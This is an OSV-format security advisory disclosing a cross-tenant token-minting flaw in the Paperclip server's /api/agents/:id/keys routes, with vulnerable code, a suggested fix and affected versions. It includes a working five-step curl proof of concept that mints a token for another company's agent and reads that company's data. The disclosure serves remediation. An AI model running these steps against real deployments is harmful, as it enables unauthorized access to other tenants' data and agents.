GHSA-47wq-cj9q-wpmp: Paperclip Cross-tenant Agent API Token Minting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-47wq-cj9q-wpmp",
  "modified" : "2026-04-16T22:48:32Z",
  "published" : "2026-04-16T22:48:32Z",
  "aliases" : [ ],
  "summary" : "Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys",
  "details" : "<img width=\"7007\" height=\"950\" alt=\"01-setup\" src=\"https://github.com/user-attachments/assets/1596b8d1-8de5-4c21-b1d2-2db41b568d7e\" />\n\n> Isolated paperclip instance running in authenticated mode (default config)\n> on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post\n> the 2026.410.0 patch). This advisory was verified on an unmodified build.\n\n### Summary\n\n`POST /api/agents/:id/keys`, `GET /api/agents/:id/keys`, and\n`DELETE /api/agents/:id/keys/:keyId` (`server/src/routes/agents.ts`\nlines 2050-2087) only call `assertBoard` to authorize the caller. They never\ncall `assertCompanyAccess` and never verify that the caller is a member of the\ncompany that owns the target agent.\n\nAny authenticated board user (including a freshly signed-up account with zero\ncompany memberships and no `instance_admin` role) can mint a plaintext\n`pcp_*` agent API token for any agent in any company on the instance. The\nminted token is bound to the **victim** agent's `companyId` server-side, so\nevery downstream `assertCompanyAccess` check on that token authorizes\noperations inside the victim tenant.\n\nThis is a pure authorization bypass on the core tenancy boundary. It is\ndistinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in\n2026.410.0): that advisory fixed one handler, this report is a different\nhandler with the same class of mistake that the 2026.410.0 patch did not\ncover.\n\n### Root Cause\n\n`server/src/routes/agents.ts`, lines 2050-2087:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) => {\n  assertBoard(req);                             // <-- no assertCompanyAccess\n  const id = req.params.id as string;\n  const keys = await svc.listKeys(id);\n  res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) => {\n  assertBoard(req);                             // <-- no assertCompanyAccess\n  const id = req.params.id as string;\n  const key = await svc.createApiKey(id, req.body.name);\n  ...\n  res.status(201).json(key);                    // returns plaintext `token`\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) => {\n  assertBoard(req);                             // <-- no assertCompanyAccess\n  const keyId = req.params.keyId as string;\n  const revoked = await svc.revokeKey(keyId);\n  ...\n});\n```\n\nCompare the handler 12 lines below, `router.post(\"/agents/:id/wakeup\")`,\nwhich shows the correct pattern: it fetches the agent, then calls\n`assertCompanyAccess(req, agent.companyId)`. The three `/keys` handlers above\ndo not even fetch the agent.\n\nThe token returned by `POST /agents/:id/keys` is bound to the **victim**\ncompany in `server/src/services/agents.ts`, lines 580-609:\n\n```ts\ncreateApiKey: async (id: string, name: string) => {\n  const existing = await getById(id);                 // victim agent\n  ...\n  const token = createToken();\n  const keyHash = hashToken(token);\n  const created = await db\n    .insert(agentApiKeys)\n    .values({\n      agentId: id,\n      companyId: existing.companyId,                  // <-- victim tenant\n      name,\n      keyHash,\n    })\n    .returning()\n    .then((rows) => rows[0]);\n\n  return {\n    id: created.id,\n    name: created.name,\n    token,                                            // <-- plaintext returned\n    createdAt: created.createdAt,\n  };\n},\n```\n\n`actorMiddleware` (`server/src/middleware/auth.ts`) then resolves the bearer\ntoken to `actor = { type: \"agent\", companyId: existing.companyId }`, so every\nsubsequent `assertCompanyAccess(req, victim.companyId)` check passes.\n\nThe exact same `assertBoard`-only pattern is also present on agent lifecycle\nhandlers in the same file (`POST /agents/:id/pause`, `/resume`, `/terminate`,\nand `DELETE /agents/:id` at lines 1962, 1985, 2006, 2029). An attacker can\nterminate, delete, or silently pause any agent in any company with the same\nprimitive.\n\n### Trigger Conditions\n\n1. Paperclip running in `authenticated` mode (the public, multi-user\n   configuration — `PAPERCLIP_DEPLOYMENT_MODE=authenticated`).\n2. `PAPERCLIP_AUTH_DISABLE_SIGN_UP` unset or false (the default — same\n   default precondition as GHSA-68qg-g8mg-6pr7).\n3. At least one other company exists on the instance with at least one\n   agent. In practice this is the normal state of any production paperclip\n   deployment. The attacker needs the victim agent's ID, which leaks through\n   activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that\n   the 2026.410.0 disclosure also flagged as under-protected.\n\nNo admin role, no invite, no email verification, no CSRF dance. The attacker\nis an authenticated browser-session user with zero company memberships.\n\n### PoC\n\nVerified against a freshly built `ghcr.io/paperclipai/paperclip:latest`\ncontainer at commit `b649bd4` (2026.411.0-canary.8, which is **post** the\n2026.410.0 import-bypass patch). Full 5-step reproduction:\n\n<img width=\"5429\" height=\"1448\" alt=\"02-signup\" src=\"https://github.com/user-attachments/assets/4c2b2939-326b-4e0d-aa01-05e22851486b\" />\n> Step 1-2: Mallory signs up via the default `/api/auth/sign-up/email` flow\n> (no invite, no verification) and confirms via `GET /api/companies` that she\n> is a member of zero companies. She has no tenant access through the normal\n> authorization path.\n\n```bash\n# Step 1: attacker signs up as an unprivileged board user\ncurl -s -X POST http://<target>:3102/api/auth/sign-up/email \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"mallory@attacker.com\",\"password\":\"P@ssw0rd456\",\"name\":\"mallory\"}'\n# Save the `better-auth.session_token` cookie from Set-Cookie.\n\n# Step 2: confirm zero company membership\ncurl -s -H \"Cookie: $MALLORY_SESSION\" http://<target>:3102/api/companies\n# -> []\n```\n\n<img width=\"2891\" height=\"1697\" alt=\"03-exploit\" src=\"https://github.com/user-attachments/assets/c097e861-6bc9-4f6a-841c-b45501e27849\" />\n> Step 3 — the vulnerability. Mallory POSTs to `/api/agents/:id/keys`\n> targeting an agent in Victim Corp (a company she is NOT a member of). The\n> server returns a plaintext `pcp_*` token tied to the victim's `companyId`.\n> There is no authorization error. `assertBoard` passed because Mallory is a\n> board user; `assertCompanyAccess` was never called.\n\n```bash\n# Step 3: mint a plaintext token for a victim agent\nVICTIM_AGENT=<any-agent-id-in-another-company>\ncurl -s -X POST \\\n  -H \"Cookie: $MALLORY_SESSION\" \\\n  -H \"Origin: http://<target>:3102\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"pwnkit\"}' \\\n  http://<target>:3102/api/agents/$VICTIM_AGENT/keys\n# -> 201 { \"id\":\"...\", \"token\":\"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\", ... }\n```\n\n<img width=\"2983\" height=\"2009\" alt=\"04-exfil\" src=\"https://github.com/user-attachments/assets/ede5d469-4119-432c-b0ae-5a4fabc9a56b\" />\n> Step 4-5: Use the stolen token as a Bearer credential. `actorMiddleware`\n> resolves it to `actor = { type: \"agent\", companyId: VICTIM }`, so every\n> downstream `assertCompanyAccess` gate authorizes reads against Victim Corp.\n> Mallory can now enumerate the victim's company metadata, issues, approvals,\n> and agent configuration — none of which she had access to 30 seconds ago.\n\n```bash\n# Step 4: use the stolen token to read victim company data\nSTOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\nVICTIM_CO=<victim-company-id>\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://<target>:3102/api/companies/$VICTIM_CO\n# -> 200 { \"id\":\"...\", \"name\":\"Victim Corp\", ... }\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://<target>:3102/api/companies/$VICTIM_CO/issues\n# -> 200 [ ...every issue in the victim tenant... ]\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://<target>:3102/api/companies/$VICTIM_CO/approvals\n# -> 200 [ ...every approval in the victim tenant... ]\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://<target>:3102/api/agents/$VICTIM_AGENT\n# -> 200 { ...full agent config incl. adapter settings... }\n```\n\nObserved outputs (all verified on live instance at time of submission):\n\n- `POST /api/agents/:id/keys` → **201** with plaintext `token` bound to\n  the victim's `companyId`\n- `GET /api/companies/:victimId` → **200** full company metadata\n- `GET /api/companies/:victimId/issues` → **200** issue list\n- `GET /api/companies/:victimId/agents` → **200** agent list\n- `GET /api/companies/:victimId/approvals` → **200** approval list\n\n### Impact\n\n- **Type:** Broken access control / cross-tenant IDOR (CWE-285, CWE-639,\n  CWE-862, CWE-1220)\n- **Who is impacted:** every paperclip instance running in `authenticated`\n  mode with default `PAPERCLIP_AUTH_DISABLE_SIGN_UP` (open signup). That is\n  the documented multi-user configuration and the default in\n  `docker/docker-compose.quickstart.yml`.\n- **Confidentiality:** HIGH. Any signed-up user can read another tenant's\n  company metadata, issues, approvals, runs, and agent configuration (which\n  includes adapter URLs, model settings, and references to stored secret\n  bindings).\n- **Integrity:** HIGH. The minted token is a persistent agent credential\n  that authenticates for every `assertCompanyAccess`-gated agent-scoped\n  mutation in the victim tenant (issue/run updates, self-wakeup with\n  attacker-controlled payloads, adapter execution via the agent's own\n  adapter, etc.).\n- **Availability:** HIGH. The attacker can `pause`, `terminate`, or\n  `DELETE` any agent in any company via the sibling `assertBoard`-only\n  handlers (`/agents/:id/pause`, `/resume`, `/terminate`,\n  `DELETE /agents/:id`).\n- **Relation to GHSA-68qg-g8mg-6pr7:** the 2026.410.0 patch added\n  `assertInstanceAdmin` on `POST /companies/import` and closed the disclosed\n  chain, but the same root cause (`assertBoard` treated as sufficient where\n  `assertCompanyAccess` is required on a cross-tenant resource, or where\n  `assertInstanceAdmin` is required on an instance-global resource) is\n  present in multiple other handlers. The import fix did not audit sibling\n  routes. This report is an instance of that same class the prior advisory\n  did not cover.\n\nSeverity is driven by the fact that every precondition is default, the bug\nis reachable by any signed-up user with zero memberships, and the stolen\ntoken persists across sessions until manually revoked.\n\n### Suggested Fix\n\nIn `server/src/routes/agents.ts`, replace each of the three `/keys` handlers\nso they load the target agent first and enforce company access:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) => {\n  assertBoard(req);\n  const id = req.params.id as string;\n  const agent = await svc.getById(id);\n  if (!agent) {\n    res.status(404).json({ error: \"Agent not found\" });\n    return;\n  }\n  assertCompanyAccess(req, agent.companyId);\n  const keys = await svc.listKeys(id);\n  res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) => {\n  assertBoard(req);\n  const id = req.params.id as string;\n  const agent = await svc.getById(id);\n  if (!agent) {\n    res.status(404).json({ error: \"Agent not found\" });\n    return;\n  }\n  assertCompanyAccess(req, agent.companyId);\n  const key = await svc.createApiKey(id, req.body.name);\n  ...\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) => {\n  assertBoard(req);\n  const keyId = req.params.keyId as string;\n  // Look up the key to find its agentId/companyId, then:\n  const key = await svc.getKeyById(keyId);\n  if (!key) { res.status(404).json({ error: \"Key not found\" }); return; }\n  assertCompanyAccess(req, key.companyId);\n  await svc.revokeKey(keyId);\n  res.json({ ok: true });\n});\n```\n\nWhile fixing this, audit the sibling lifecycle handlers at lines 1962-2048\n(`/agents/:id/pause`, `/resume`, `/terminate`, `DELETE /agents/:id`) which\nshare the same bug.\n\nDefense in depth: consider a code-wide sweep for `assertBoard(req)` calls\nthat are not immediately followed by `assertCompanyAccess` or\n`assertInstanceAdmin` — the 2026.410.0 patch focused on one handler but the\npattern is systemic.\n\n### Patch Status\n\n- Latest image at time of writing: `ghcr.io/paperclipai/paperclip:latest`\n  digest `sha256:baa9926e...`, commit `b649bd4`\n  (`canary/v2026.411.0-canary.8`), which is *after* the 2026.410.0 import\n  bypass fix.\n- The bug is still present on that revision. PoC reproduced end-to-end\n  against an unmodified container.\n\n### Credits\n\nDiscovered by [pwnkit](https://github.com/peaktwilight/pwnkit), an\nAI-assisted security scanner, during variant-hunt analysis of\nGHSA-68qg-g8mg-6pr7. Manually verified against a live isolated paperclip\ninstance.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@paperclipai/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2026.416.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/paperclipai/paperclip/security/advisories/GHSA-47wq-cj9q-wpmp"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/paperclipai/paperclip"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1220", "CWE-285", "CWE-639", "CWE-862" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-16T22:48:32Z",
    "nvd_published_at" : null
  }
}